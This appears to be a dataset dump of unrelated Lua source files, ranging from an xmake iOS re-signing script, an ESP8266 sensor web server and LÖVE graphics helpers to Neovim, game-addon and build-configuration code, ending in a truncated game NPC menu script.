content
stringlengths
5
1.05M
--!A cross-platform build utility based on Lua -- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. -- -- Copyright (C) 2015-2020, TBOOX Open Source Group. -- -- @author ruki -- @file resign.lua -- -- imports import("lib.detect.find_tool") import("lib.detect.find_directory") import("utils.archive.extract") import("private.tools.codesign") import("utils.ipa.package", {alias = "ipagen"}) -- resign *.app directory function _resign_app(appdir, codesign_identity, mobile_provision, bundle_identifier) -- get default codesign identity if not codesign_identity then for identity, _ in pairs(codesign.codesign_identities()) do codesign_identity = identity break end end -- get default mobile provision if not mobile_provision then for provision, _ in pairs(codesign.mobile_provisions()) do mobile_provision = provision break end end -- generate embedded.mobileprovision to *.app/embedded.mobileprovision local mobile_provision_embedded = path.join(appdir, "embedded.mobileprovision") if mobile_provision then os.tryrm(mobile_provision_embedded) local provisions = codesign.mobile_provisions() if provisions then local mobile_provision_data = provisions[mobile_provision] if mobile_provision_data then io.writefile(mobile_provision_embedded, mobile_provision_data) end end end -- replace bundle identifier of Info.plist if bundle_identifier then local info_plist_file = path.join(appdir, "Info.plist") if os.isfile(info_plist_file) then local info_plist_data = io.readfile(info_plist_file) if info_plist_data then local p = info_plist_data:find("<key>CFBundleIdentifier</key>", 1, true) if p then local e = info_plist_data:find("</string>", p, true) if e then local block = info_plist_data:sub(p, e + 9):match("<string>(.+)</string>") if block then info_plist_data = info_plist_data:gsub(block, bundle_identifier) io.writefile(info_plist_file, info_plist_data) end end end end end end -- do codesign codesign(appdir, codesign_identity, mobile_provision) end -- resign *.ipa file function _resign_ipa(ipafile, codesign_identity, mobile_provision, bundle_identifier) -- get resigned ipa file local ipafile_resigned = path.join(path.directory(ipafile), path.basename(ipafile) .. "_resign" .. path.extension(ipafile)) -- extract *.ipa file local appdir = os.tmpfile() .. ".app" extract(ipafile, appdir, {extension = ".zip"}) -- find real *.app directory local appdir_real = find_directory("**.app", appdir) if not appdir_real then appdir_real = appdir end -- resign *.app directory _resign_app(appdir_real, codesign_identity, mobile_provision, bundle_identifier) -- re-generate *.ipa file ipagen(appdir_real, ipafile_resigned) -- remove tmp files os.tryrm(appdir) -- trace cprint("output: ${bright}%s", ipafile_resigned) end -- main entry function main (filepath, codesign_identity, mobile_provision, bundle_identifier) -- check assert(os.exists(filepath), "%s not found!", filepath) -- resign *.ipa or *.app application if os.isfile(filepath) then _resign_ipa(filepath, codesign_identity, mobile_provision, bundle_identifier) else _resign_app(filepath, codesign_identity, mobile_provision, bundle_identifier) end -- ok cprint("${color.success}resign ok!") end
-- MCP3021 Breakout Board: https://www.tindie.com/products/AllAboutEE/esp8266-analog-inputs-expander/ -- This example serves a webpage and displays the sensor/converter value (almost) live / real-time -- The computer/device from which you visit the webpage MUST have internet connection since -- Google hosted libraries are been used to draw the graphs and update the data require ("mcp3021") -- configure ESP as a station wifi.setmode(wifi.STATION) wifi.sta.config("xxx","xxxxxx+") wifi.sta.autoconnect(1) gpio0, gpio2 = 3, 4 mcp3021.setup(gpio2,gpio0,i2c.SLOW) -- use GPIO2 as SDA, use GPIO0 as SCL local function display_webpage(socket,request) _, _, method, req, major, minor = string.find(request, "([A-Z]+) (.+) HTTP/(%d).(%d)"); if(string.find(req,"/monitor.html")) then -- request made to sesnor page socket:send("HTTP/"..major.."."..minor.." 200 OK\r\nContent-Type: text/html\r\nConnection: close\r\n\r\n") socket:send("<html><head><style type=\"text/css\">") socket:send("html, body { background-color: transparent; text-align: center; margin: 0 auto;}") socket:send("#chart_div { width: 500px; text-align: center; margin: 0 auto;}</style></head>") socket:send("<body><div id='chart_div'></div>") -- include Jquery and graphing API socket:send("<script type='text/javascript' src='https://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js'></script>") socket:send("<script type='text/javascript' src='https://www.google.com/jsapi'></script>") -- ocde to handle graph/gauge and its updates socket:send("<script type='text/javascript'>") socket:send("var chart;var data;") socket:send("google.load('visualization', '1', {packages:['gauge']});\r\n") socket:send("google.setOnLoadCallback(initChart);\r\n") -- function that updates the graph socket:send("function displayData(point) {\r\n") socket:send("data.setValue(0, 0, 'Sensor');\r\n") socket:send("data.setValue(0, 1, point);\r\n") socket:send("chart.draw(data, options);}\r\n") -- function that grabs a new reading socket:send("function loadData() {var p;\r\n") socket:send("$.getJSON('http://"..wifi.sta.getip().."/data.json', function(data) {\r\n") socket:send("p = data.sensor;") socket:send("if(p){displayData(p);}") socket:send("});}") -- function that creates a new chart socket:send("function initChart() {data = new google.visualization.DataTable();") socket:send("data.addColumn('string', 'Label');data.addColumn('number', 'Value');data.addRows(1);") socket:send("chart = new google.visualization.Gauge(document.getElementById('chart_div'));\r\n") socket:send("options = {width: 500, height: 500, redFrom: 90, redTo: 100,") socket:send("yellowFrom:75, yellowTo: 90, minorTicks: 5,max: 3.3};") -- call loadData once to create and grab data for the first time socket:send("loadData();") -- call loadData every second socket:send("setInterval(loadData, 1000);}</script></body></html>") elseif (string.find(req,"/data.json")) then -- request made to data.json page local sensor = mcp3021.read(3) -- read MCP3021A3 -- convert to voltage vased on VDD = 3.3V local result = sensor*3.3/1024 -- serve json socket:send("HTTP/"..major.."."..minor.." 200 OK\r\nContent-Type: application/json\r\nConnection: close\r\n\r\n"); socket:send("{\"sensor\":\""..result.."\"}"); end socket:close() socket = nil end -- check for a successful connection to the AP (when we obtain an IP address) tmr.alarm(0,1000,1,function() local ip, netmask, gateway = wifi.sta.getip() if(ip~=nil) then print("IP address obtained!") print("Visit \""..ip.."/monitor.html\"") -- print the IP address so you know which ip address to visit tmr.stop(0) -- stop the timer alarm -- we have an IP address so start server server = net.createServer(net.TCP) server:listen(80,function(socket) socket:on("receive",display_webpage) end) else print("Waiting to obtain IP address...") end end)
local graphics = love.graphics local old_reset = love.graphics.reset local old_replaceTransform = love.graphics.replaceTransform local transformStack = {} local transform = love.math.newTransform() function graphics.reset() transformStack = {} love.graphics.origin() Draw._scissor_stack = {} love.graphics.setScissor() end function graphics.printfOutline(text, x, y, outline, limit, ...) local old_color = {love.graphics.getColor()} love.graphics.setColor(0, 0, 0) local drawn = {} for i = -(outline or 1),(outline or 1) do for j = -(outline or 1),(outline or 1) do if i ~= 0 or j ~= 0 then love.graphics.printf(text, x+i, y+j, limit or math.huge, ...) end end end love.graphics.setColor(unpack(old_color)) love.graphics.printf(text, x, y, limit or math.huge, ...) end function graphics.drawCanvas(canvas, ...) local mode,alphamode = love.graphics.getBlendMode() love.graphics.setBlendMode(mode, "premultiplied") love.graphics.draw(canvas, ...) love.graphics.setBlendMode(mode, alphamode) end --[[ Transforms ]]-- function graphics.getTransform() return transform:clone() end function graphics.getTransformRef() return transform end function graphics.applyTransform(t) transform:apply(t) old_replaceTransform(transform) end function graphics.inverseTransformPoint(screenX, screenY) return transform:inverseTransformPoint(screenX, screenY) end function graphics.origin() transform:reset() old_replaceTransform(transform) end function graphics.pop() transform = table.remove(transformStack, 1) old_replaceTransform(transform) end function graphics.push() table.insert(transformStack, 1, transform) transform = transform:clone() end function graphics.replaceTransform(t) transform = t old_replaceTransform(transform) end function graphics.rotate(angle) transform:rotate(angle) old_replaceTransform(transform) end function graphics.scale(sx, sy) transform:scale(sx, sy or sx) old_replaceTransform(transform) end function graphics.shear(kx, ky) transform:shear(kx, ky) old_replaceTransform(transform) end function graphics.transformPoint(globalX, globalY) return transform:transformPoint(globalX, globalY) end function graphics.translate(dx, dy) transform:translate(dx, dy) old_replaceTransform(transform) end
local upperclass = require(LIBXML_REQUIRE_PATH..'lib.upperclass') local utils = require(LIBXML_REQUIRE_PATH..'lib.utils') local DOMNode = require(LIBXML_REQUIRE_PATH..'dom.node') local DOMNamedNodeMap = require(LIBXML_REQUIRE_PATH..'dom.namednodemap') -- -- Define class -- local DocumentType = upperclass:define("DOMDocumentType", DOMNode) -- -- Returns a NamedNodeMap containing the entities declared in the DTD -- property : entities { nil; get='public'; set='private'; type='any'; } -- -- Returns the internal DTD as a string -- property : internalSubset { nil; get='public'; set='private'; type='string'; } -- -- Returns the name of the DTD -- property : name { nil; get='public'; set='private'; type='string'; } -- -- Returns a NamedNodeMap containing the notations declared in the DTD -- property : notations { nil; get='public'; set='private'; type='any'; } -- -- Class constructor -- function private:__construct() self:__constructparent(10) self.entities = DOMNamedNodeMap() self.notations = DOMNamedNodeMap() end -- -- __index metamethod -- function private:__index(KEY) if KEY == 'nodeName' then return self.name end return UPPERCLASS_DEFAULT_BEHAVIOR end -- -- Compile class -- return upperclass:compile(DocumentType)
-- fio.lua (internal file) local fio = require('fio') local ffi = require('ffi') ffi.cdef[[ int umask(int mask); char *dirname(char *path); ]] local internal = fio.internal fio.internal = nil local function sprintf(fmt, ...) if select('#', ...) == 0 then return fmt end return string.format(fmt, ...) end local fio_methods = {} fio_methods.read = function(self, size) if size == nil then return '' end return internal.read(self.fh, tonumber(size)) end fio_methods.write = function(self, data) data = tostring(data) local res = internal.write(self.fh, data, #data) return res >= 0 end fio_methods.pwrite = function(self, data, offset) data = tostring(data) local len = #data if len == 0 then return true end if offset == nil then offset = 0 else offset = tonumber(offset) end local res = internal.pwrite(self.fh, data, len, offset) return res >= 0 end fio_methods.pread = function(self, len, offset) if len == nil then return '' end if offset == nil then offset = 0 end return internal.pread(self.fh, tonumber(len), tonumber(offset)) end fio_methods.truncate = function(self, length) if length == nil then length = 0 end return internal.ftruncate(self.fh, length) end fio_methods.seek = function(self, offset, whence) if whence == nil then whence = 'SEEK_SET' end if type(whence) == 'string' then if fio.c.seek[whence] == nil then error(sprintf("Unknown whence: %s", whence)) end whence = fio.c.seek[whence] else whence = tonumber(whence) end local res = internal.lseek(self.fh, tonumber(offset), whence) if res < 0 then return nil end return tonumber(res) end fio_methods.close = function(self) return internal.close(self.fh) end fio_methods.fsync = function(self) return internal.fsync(self.fh) end fio_methods.fdatasync = function(self) return internal.fdatasync(self.fh) end fio_methods.stat = function(self) return internal.fstat(self.fh) end local fio_mt = { __index = fio_methods } fio.open = function(path, flags, mode) local iflag = 0 local imode = 0 if type(flags) ~= 'table' then flags = { flags } end if type(mode) ~= 'table' then mode = { mode } end for _, flag in pairs(flags) do if type(flag) == 'number' then iflag = bit.bor(iflag, flag) else if fio.c.flag[ flag ] == nil then error(sprintf("Unknown flag: %s", flag)) end iflag = bit.bor(iflag, fio.c.flag[ flag ]) end end for _, m in pairs(mode) do if type(m) == 'string' then if fio.c.mode[m] == nil then error(sprintf("Unknown mode: %s", m)) end imode = bit.bor(imode, fio.c.mode[m]) else imode = bit.bor(imode, tonumber(m)) end end local fh = internal.open(tostring(path), iflag, imode) if fh < 0 then return nil end fh = { fh = fh } setmetatable(fh, fio_mt) return fh end fio.pathjoin = function(path, ...) path = tostring(path) if path == nil or path == '' then error("Empty path part") end for i = 1, select('#', ...) do if string.match(path, '/$') ~= nil then path = string.gsub(path, '/$', '') end local sp = select(i, ...) if sp == nil then error("Undefined path part") end if sp == '' or sp == '/' then error("Empty path part") end if string.match(sp, '^/') ~= nil then sp = string.gsub(sp, '^/', '') end if sp ~= '' then path = path .. '/' .. sp end end if string.match(path, '/$') ~= nil and #path > 1 then path = string.gsub(path, '/$', '') end return path end fio.basename = function(path, suffix) if path == nil then return nil end path = tostring(path) path = string.gsub(path, '.*/', '') if suffix ~= nil then suffix = tostring(suffix) if #suffix > 0 then suffix = string.gsub(suffix, '(.)', '[%1]') path = string.gsub(path, suffix, '') end end return path end fio.dirname = function(path) if path == nil then return nil end path = tostring(path) path = ffi.new('char[?]', #path + 1, path) return ffi.string(ffi.C.dirname(path)) end fio.umask = function(umask) if umask == nil then local old = ffi.C.umask(0) ffi.C.umask(old) return old end umask = tonumber(umask) return ffi.C.umask(tonumber(umask)) end fio.abspath = function(path) -- following established conventions of fio module: -- letting nil through and converting path to string if path == nil then return nil end path = tostring(path) if string.sub(path, 1, 1) == '/' then return path else return fio.pathjoin(fio.cwd(), path) end end return fio
describe('The events module',function() local events = require'nodish.events' it('provides EventEmitter method',function() assert.is_function(events.EventEmitter) end) it('esock.new returns an object/table',function() assert.is_table(events.EventEmitter()) end) describe('with an emitter instance',function() local i before_each(function() i = events.EventEmitter() end) local expectedMethods = { 'addListener', 'on', 'once', 'removeListener', 'emit', } for _,method in ipairs(expectedMethods) do it('i.'..method..' is function',function() assert.is_function(i[method]) end) end it('i.addListener and i.on are the same method',function() assert.is_equal(i.addListener,i.on) end) it('i.on callback gets called with correct arguments',function(done) i:on('foo',async(function(a,b) assert.is_equal(a,'test') assert.is_equal(b,123) done() end)) i:emit('foo','test',123) end) it('i.on callback gets called once for each emit',function(done) local count = 0 i:on('foo',async(function() count = count + 1 if count == 2 then done() end end)) i:emit('foo') i:emit('foo') end) it('once is really called once',function(done) local count = 0 i:once('bar',async(function() count = count + 1 end)) local b = 0 i:on('bar',async(function() b = b + 1 if b == 2 then assert.is_equal(count,1) done() end end)) i:emit('bar',1) i:emit('bar',2) end) it('once can be canceled',function(done) local entered local onceCb = async(function() entered = true end) i:once('bar',onceCb) i:on('bar',async(function() assert.is_nil(entered) done() end)) i:removeListener('bar',onceCb) i:emit('bar') end) it('removeAllListeners works for a specific event',function(done) local entered = 0 i:on('foo',async(function() entered = entered + 1 end)) i:on('foo',async(function() entered = entered + 1 end)) i:on('bar',async(function() assert.is_equal(entered,0) done() end)) i:removeAllListeners('foo') i:emit('foo') i:emit('bar') end) it('removeAllListeners works for all events',function(done) local entered = 0 i:on('foo',async(function() entered = entered + 1 end)) i:on('foo',async(function() entered = entered + 1 end)) i:on('bar',async(function() entered = entered + 1 -- done() end)) i:removeAllListeners() i:emit('foo') i:emit('bar') assert.is_equal(entered,0) done() end) end) end)
local M = {} local basef = require("my-plugins.base-functions") local plugin_name = "AutoSession Plugin" local plugin_icon = "" local plugin_commands = { AutoSessionRestore = "Restore previous session from `.session.vim`.", AutoSessionSave = "Create `.session.vim` to store current session.", AutoSessionAuto = "Update `.session.vim` if exists.", AutoSessionGlobal = "Resigter current session for vim-startify.", AutoSessionDelete = "Delete a global session.", } local echo = function(msg, level, ...) if not level then level = "info" end local opts = { ... } opts.title = opts.title or plugin_name opts.icon = opts.icon or plugin_icon basef.echo(msg, level, opts) end M.help = function() local str = "Available Commands:\n\n" for command, com_help in pairs(plugin_commands) do str = str .. "- " .. command .. ": " .. com_help .. "\n" end echo(str, "warn", { title = plugin_name .. " Help" }) end local DEFAULT_OPTS = { disable_netrw = false, hijack_netrw = true, open_on_setup = false, open_on_tab = false, hijack_directories = { enable = true, auto_open = true, }, auto_close = false, auto_reload_on_write = true, hijack_cursor = false, update_cwd = false, hide_root_folder = false, hijack_unnamed_buffer_when_opening = false, update_focused_file = { enable = false, update_cwd = false, ignore_list = {}, }, ignore_ft_on_setup = {}, system_open = { cmd = nil, args = {}, }, diagnostics = { enable = false, show_on_dirs = false, icons = { hint = "", info = "", warning = "", error = "", }, }, filters = { dotfiles = false, custom_filter = {}, exclude = {}, }, git = { enable = true, ignore = true, timeout = 400, }, actions = { change_dir = { enable = true, global = vim.g.nvim_tree_change_dir_global == 1, }, open_file = { quit_on_open = vim.g.nvim_tree_quit_on_open == 1, window_picker = { enable = vim.g.nvim_tree_disable_window_picker ~= 1, chars = vim.g.nvim_tree_window_picker_chars, exclude = vim.g.nvim_tree_window_picker_exclude, }, }, }, } local function merge_options(opts) return vim.tbl_deep_extend("force", DEFAULT_OPTS, opts or {}) end M.setup = function(opts) merge_options(opts) M.init_win_open_safe() if opts.msg ~= nil then echo(opts.msg) end if opts.restore_on_startup == true then M.RestoreSession() end end M.init_win_open_safe = function() if vim.g.autosession_win_opened == nil then vim.g.autosession_win_opened = 0 end end M.add_win_open_timer = function(wait_for_ms, msg) M.add_win_open() vim.fn.timer_start(wait_for_ms, function() M.close_win_open(msg) end) end M.add_win_open = function(msg) M.init_win_open_safe() vim.g.autosession_win_opened = vim.g.autosession_win_opened + 1 if msg ~= nil then echo(msg) end end M.close_win_open = function(msg) M.init_win_open_safe() vim.g.autosession_win_opened = vim.g.autosession_win_opened - 1 if msg ~= nil then echo(msg) end end M.SaveSession = function(create_new_if_not_exist) local cwd = vim.fn.getcwd() if basef.FullPath(cwd) == basef.FullPath(vim.env.HOME) then echo("Currently working in $HOME directory. Not saving session.") return nil end local sessionpath = basef.FullPath(cwd .. "/.session.vim") if create_new_if_not_exist == true or basef.file_exist(sessionpath) then local wait_counter = 1000 while vim.g.autosession_win_opened > 0 and wait_counter > 0 do wait_counter = wait_counter - 1 end local confirm_msg = "May crush. Please wait until all Notification are gone. Continue? [Y/n]:" if vim.g.autosession_win_opened <= 0 or basef.Confirm(confirm_msg, "y", true) then vim.cmd("mksession! " .. sessionpath) echo(".session.vim created.") else echo("Aborted!", "error") end end return sessionpath end M.SaveGlobalSession = function() local cwd = vim.fn.getcwd() if not vim.g.startify_session_dir then echo("Please set `g:startify_session_dir`.\nAbort", "error") return false end vim.fn.mkdir(basef.FullPath(vim.g.startify_session_dir), "p") local dirname = basef.FullPath(vim.g.startify_session_dir) .. "/" .. basef.SessionName(cwd) local sessionpath = M.SaveSession(true) if not basef.file_exist(dirname) or basef.Confirm(dirname .. " exists. Overwrite? [y/N]:", "n", false) then io.popen("ln -sf " .. sessionpath .. " " .. dirname .. " >/dev/null 2>/dev/null"):close() if basef.file_exist(dirname) then echo("Saved session as: " .. dirname) return true else echo("Something went wrong.", "error") return false end end echo("Abort", "error") return false end M.RestoreSession = function() local cwd = vim.fn.getcwd() local sessionpath = basef.FullPath(cwd .. "/.session.vim") if not vim.fn.filereadable(sessionpath) then return false end if basef.file_exist(sessionpath) then vim.cmd("so " .. sessionpath) else print("AutoSession WARN: Last session not found. Run :AutoSessionSave to save session.") vim.cmd("redraws") end local current_session = basef.SessionName(cwd) for buf = 1, vim.fn.bufnr("$") do local bufname = vim.fn.bufname(buf) if string.match(bufname, "^.*/$") then vim.cmd("bd " .. bufname) elseif string.match(bufname, "^\\[.*\\]$") then vim.cmd("bd " .. bufname) elseif basef.SessionName(bufname) == current_session then vim.cmd("bd " .. bufname) end end return true end M.DeleteSession = function() local cwd = vim.fn.getcwd() local session_list = {} for line in vim.fn.globpath(basef.FullPath(vim.g.startify_session_dir), "[^_]*"):gmatch("([^\n]+)") do table.insert(session_list, line) end local session_len = #session_list local current = -1 local current_session = basef.SessionName(cwd) if session_len == 0 then echo("No sessions to delete!\nNice and clean 😄") return false end for index, value in ipairs(session_list) do if basef.s_trim(basef.basename(value)):lower() == current_session:lower() then current = index end print(index - 1 .. ": " .. value) end while true do local quest = "Delete which session? (Default: " .. (current >= 1 and current or "None") .. ") (q: quit): " local c = vim.fn.input(quest) if c:len() == 0 and current >= 1 then break elseif c:match("^q$") then current = 0 break elseif c:match("^%d$") and tonumber(c, 10) < session_len then current = tonumber(c, 10) + 1 break else echo("Please input an integer or nothing for default value (available only if not None).", "error") end vim.cmd("redraw") end if current >= 1 then os.remove(basef.s_trim(session_list[current])) local sessionpath = basef.FullPath(cwd .. "/.session.vim") os.remove(sessionpath) echo("Delete " .. session_list[current]) else echo("Aborted") end end vim.cmd([[ command! -bar AutoSession lua require('my-plugins.autosave-session').help() command! -bar AutoSessionSave lua require('my-plugins.autosave-session').SaveSession(true) command! -bar AutoSessionAuto lua require('my-plugins.autosave-session').SaveSession(false) command! -bar AutoSessionGlobal lua require('my-plugins.autosave-session').SaveGlobalSession() command! -bar AutoSessionDelete lua require('my-plugins.autosave-session').DeleteSession() command! -bar AutoSessionRestore lua require('my-plugins.autosave-session').RestoreSession() command! Q :AutoSessionAuto <bar> :q command! WQ :AutoSessionAuto <bar> :wq command! Wq :AutoSessionAuto <bar> :wq command! CL AutoSessionAuto <bar> :qa ]]) return M
-- A neat script that is useful for testing and visualizations require 'main' --require('mobdebug').start() --[[ Input: a string Output: table of 6 nearest neighbours {{string,distance}..} --]] function neighbors(word) word_index = billionwords.index_map[word] if word_index == nil then print("["..word.."] does not exist in the dictionary!") return nil end distance = torch.DoubleTensor(#billionwords.word_map) weight = model.mlp.modules[1].weight[word_index] for i = 1,#billionwords.word_map do if i%100000 ==0 then print(i) end --xlua.progress(i,#billionwords.word_map) tmp = weight - model.mlp.modules[1].weight[i] distance[i] = torch.sum(tmp:cmul(tmp)) end distance:sqrt() dist, indices = torch.sort(distance) result={} for i=1,6 do table.insert(result,{billionwords.word_map[indices[i]],dist[i]}) end return result end function test() print("==> Loading model...") model = torch.load("../log/model.net") billionwords = BillionWords(opt) billionwords:loadWordMap() while true do print("==> Ready for input") local word = io.read() print("==> Calculating neighbors for ["..word.."]") rv = neighbors(word) for k,v in pairs(rv) do print(v[1].." dist: "..v[2]) end end end test()
CDxElement = {} function CDxElement:constructor(iX, iY, iWidth, iHeight) self.X = iX; self.Y = iY; self.Width = iWidth; self.Height = iHeight; self.ClickFunction = false; self.clickExecute = {}; self.Visible = true; self.Disabled = false; end function CDxElement:destructor() if (self:hasClickFunction()) then removeEventHandler ( "onClientClick", getRootElement(), self.eOnClick) end end function CDxElement:onClick(button, state) if(self:hasClickFunction()) then if (button == "left" and state == "down") then cX,cY = getCursorPosition () if (isCursorOverRectangle(cX,cY,self.X, self.Y, self.Width, self.Height)) then if(self.Disabled == false) then for k,clickFunction in ipairs(self.clickExecute) do clickFunction() end end end end end end function CDxElement:addClickFunction(func) table.insert(self.clickExecute,bind(func,self)) self.ClickFunction = true self.eOnClick = bind(self.onClick, self) end function CDxElement:addClickHandlers(key) if (self.ClickFunction) then -- DEV: outputChatBox("Element: "..key) addEventHandler ( "onClientClick", getRootElement(), self.eOnClick) end end function CDxElement:removeClickHandlers() if (self.ClickFunction) then removeEventHandler ( "onClientClick", getRootElement(), self.eOnClick) end end function CDxElement:hasClickFunction() return self.ClickFunction end function CDxElement:setVisible(bState) self.Visible = bState end function CDxElement:getVisible() return self.Visible end function CDxElement:setDisabled(bBool) self.Disabled = bBool; end function CDxElement:getDisabled() return self.Disabled; end
workspace "MintServer" architecture "x86" startproject "MintServer" configurations { "Debug", "Release", "Dist" } outputdir = "%{cfg.buildcfg}-%{cfg.system}-%{cfg.architecture}" project "MintServer" location "MintServer" kind "ConsoleApp" language "C++" targetdir ("bin/" .. outputdir .. "/%{prj.name}") objdir ("bin-int/" .. outputdir .. "/%{prj.name}") pchheader "mtpch.h" pchsource "MintServer/src/mtpch.cpp" files { "%{prj.name}/src/**.h", "%{prj.name}/src/**.cpp", "%{prj.name}/src/**.hpp", } includedirs { "%{prj.name}/src", } links { } filter "system:windows" cppdialect "C++17" staticruntime "On" systemversion "latest" defines { } postbuildcommands { } filter "configurations:Debug" defines "MT_DEBUG" buildoptions "/MTd" symbols "On" filter "configurations:Release" defines "MT_RELEASE" buildoptions "/MT" symbols "On" filter "configurations:Dist" defines "MT_DIST" buildoptions "/MT" symbols "On" workspace "MintClient" architecture "x86" startproject "MintClient" configurations { "Debug", "Release", "Dist" } outputdir = "%{cfg.buildcfg}-%{cfg.system}-%{cfg.architecture}" project "MintClient" location "MintClient" kind "ConsoleApp" language "C++" targetdir ("bin/" .. outputdir .. "/%{prj.name}") objdir ("bin-int/" .. outputdir .. "/%{prj.name}") pchheader "mtpch.h" pchsource "MintClient/src/mtpch.cpp" files { "%{prj.name}/src/**.h", "%{prj.name}/src/**.cpp", "%{prj.name}/src/**.hpp", } includedirs { "%{prj.name}/src", } links { } filter "system:windows" cppdialect "C++17" staticruntime "On" systemversion "latest" defines { } postbuildcommands { } filter "configurations:Debug" defines "MT_DEBUG" buildoptions "/MTd" symbols "On" filter "configurations:Release" defines "MT_RELEASE" buildoptions "/MT" symbols "On" filter "configurations:Dist" defines "MT_DIST" buildoptions "/MT" symbols "On"
local _, ns = ... local config = ns.Config local select = select local fmod = math.fmod local floor = math.floor local gsub = string.gsub local format = string.format local day, hour, minute = 86400, 3600, 60 local function FormatValue(value) if value < 1e3 then return floor(value) elseif value >= 1e12 then return string.format("%.3ft", value/1e12) elseif value >= 1e9 then return string.format("%.3fb", value/1e9) elseif value >= 1e6 then return string.format("%.2fm", value/1e6) elseif value >= 1e3 then return string.format("%.1fk", value/1e3) end end local function DeficitValue(value) if value == 0 then return "" else return "-"..FormatValue(value) end end ns.cUnit = function(unit) if unit:match("vehicle") then return "player" elseif unit:match("party%d") then return "party" elseif unit:match("arena%d") then return "arena" elseif unit:match("boss%d") then return "boss" elseif unit:match("partypet%d") then return "pet" else return unit end end ns.FormatTime = function(time) if time >= day then return format("%dd", floor(time/day + 0.5)) elseif time>= hour then return format("%dh", floor(time/hour + 0.5)) elseif time >= minute then return format("%dm", floor(time/minute + 0.5)) end return format("%d", fmod(time, minute)) end local function GetUnitStatus(unit) if UnitIsDead(unit) then return DEAD elseif UnitIsGhost(unit) then return "Ghost" elseif not UnitIsConnected(unit) then return PLAYER_OFFLINE else return "" end end local function GetFormattedText(text, cur, max, alt) local perc = (cur/max)*100 if alt then text = gsub(text, "$alt", ((alt > 0) and format("%s", FormatValue(alt)) or "")) end local r, g, b = oUF.ColorGradient(cur, max, unpack(oUF.smoothGradient or oUF.colors.smooth)) text = gsub(text, "$cur", format("%s", (cur > 0 and FormatValue(cur)) or "")) text = gsub(text, "$max", format("%s", FormatValue(max))) text = gsub(text, "$deficit", format("%s", DeficitValue(max-cur))) text = gsub(text, "$perc", format("%d", perc).."%%") text = gsub(text, "$smartperc", format("%d", perc)) text = gsub(text, "$smartcolorperc", format("|cff%02x%02x%02x%d|r", r*255, g*255, b*255, perc)) text = gsub(text, "$colorperc", format("|cff%02x%02x%02x%d", r*255, g*255, b*255, perc).."%%|r") return text end ns.GetHealthText = function(unit, cur, max) local uconf = config.units[ns.cUnit(unit)] if not cur then cur = UnitHealth(unit) max = UnitHealthMax(unit) end local healthString if UnitIsDeadOrGhost(unit) or not UnitIsConnected(unit) then healthString = GetUnitStatus(unit) elseif cur == max and uconf and uconf.healthTagFull then healthString = GetFormattedText(uconf.healthTagFull, cur, max) elseif uconf and uconf.healthTag then healthString = GetFormattedText(uconf.healthTag, cur, max) else if cur == max then healthString = FormatValue(cur) else healthString = FormatValue(cur).."/"..FormatValue(max) end end return healthString end ns.GetPowerText = function(unit, cur, max) local uconf = config.units[ns.cUnit(unit)] if not cur then max = UnitPower(unit) cur = UnitPowerMax(unit) end local alt = UnitPower(unit, ALTERNATE_POWER_INDEX) local powerType = UnitPowerType(unit) local powerString if UnitIsDeadOrGhost(unit) or not UnitIsConnected(unit) then powerString = "" elseif max == 0 then powerString = "" elseif not UnitHasMana(unit) or powerType ~= 0 or UnitHasVehicleUI(unit) and uconf and uconf.powerTagNoMana then powerString = GetFormattedText(uconf.powerTagNoMana, cur, max, alt) elseif (cur == max) and uconf and uconf.powerTagFull then powerString = GetFormattedText(uconf.powerTagFull, cur, max, alt) elseif uconf and uconf.powerTag then powerString = GetFormattedText(uconf.powerTag, cur, max, alt) else if cur == max then powerString = FormatValue(cur) else powerString = FormatValue(cur).."/"..FormatValue(max) end end return powerString end ns.MultiCheck = function(what, ...) for i = 1, select("#", ...) do if what == select(i, ...) then return true end end return false end ns.utf8sub = function(string, index) local bytes = string:len() if bytes <= index then return string else local length, currentIndex = 0, 1 while currentIndex <= bytes do length = length + 1 local char = string:byte(currentIndex) if char > 240 then currentIndex = currentIndex + 4 elseif char > 225 then currentIndex = currentIndex + 3 elseif char > 192 then currentIndex = currentIndex + 2 else currentIndex = currentIndex + 1 end if length == index then break end end if length == index and currentIndex <= bytes then return string:sub(1, currentIndex - 1) else return string end end end
function log(success,get,post,ip,url) end
local json = require('json') local null = json.null local format = string.format local Container, get = require('class')('Container') local types = {['string'] = true, ['number'] = true, ['boolean'] = true} local function load(self, data) -- assert(type(data) == 'table') -- debug for k, v in pairs(data) do if types[type(v)] then self['_' .. k] = v elseif v == null then self['_' .. k] = nil end end end function Container:__init(data, parent) -- assert(type(parent) == 'table') -- debug self._parent = parent return load(self, data) end function Container:__eq(other) return self.__class == other.__class and self:__hash() == other:__hash() end function Container:__tostring() return format('%s: %s', self.__name, self:__hash()) end Container._load = load function get.client(self) return self._parent.client or self._parent end function get.parent(self) return self._parent end return Container
function On_Gossip(unit, event, player) unit:GossipCreateMenu(50, player, 0) local race=player:GetPlayerRace() if race==2 or race==5 or race==6 or race==8 or race==10 then Unit:GossipMenuAddItem(3, "Alliance Cities", 3, 0) end local race = Player:GetPlayerRace() if race == 2 or race == 5 or race == 6 or race == 8 or race == 10 then Unit:GossipMenuAddItem(3, "Horde Cities", 4, 0) end Unit:GossipMenuAddItem(2, "Custom Zones", 122, 0) Unit:GossipMenuAddItem(2, "|cff0000ff-+Gm Island Quest Zone+-", 9995, 0) Unit:GossipMenuAddItem(4, "Buff Me", 6, 0) Unit:GossipMenuAddItem(4, "Change the Weather", 114, 0) Unit:GossipMenuAddItem(4, "Max Out All Skills", 105, 0) Unit:GossipMenuAddItem(4, "Reset Talent Points", 106, 0) Unit:GossipMenuAddItem(4, "|cff00ff00Remove Resurrection Sickness", 7, 0) Unit:GossipMenuAddItem(7, "|cffff0000[Nevermind]", 8, 0) Unit:GossipSendMenu(Player) end function OnSelect(Unit, Event, Player, id, intid, code, pMisc) if(intid == 999) then Unit:GossipCreateMenu(999, Player, 0) local race = Player:GetPlayerRace() if race == 1 or race == 3 or race == 4 or race == 7 or race == 11 then Unit:GossipMenuAddItem(3, "Alliance Cities", 3, 0) end local race = Player:GetPlayerRace() if race == 2 or race == 5 or race == 6 or race == 8 or race == 10 then Unit:GossipMenuAddItem(3, 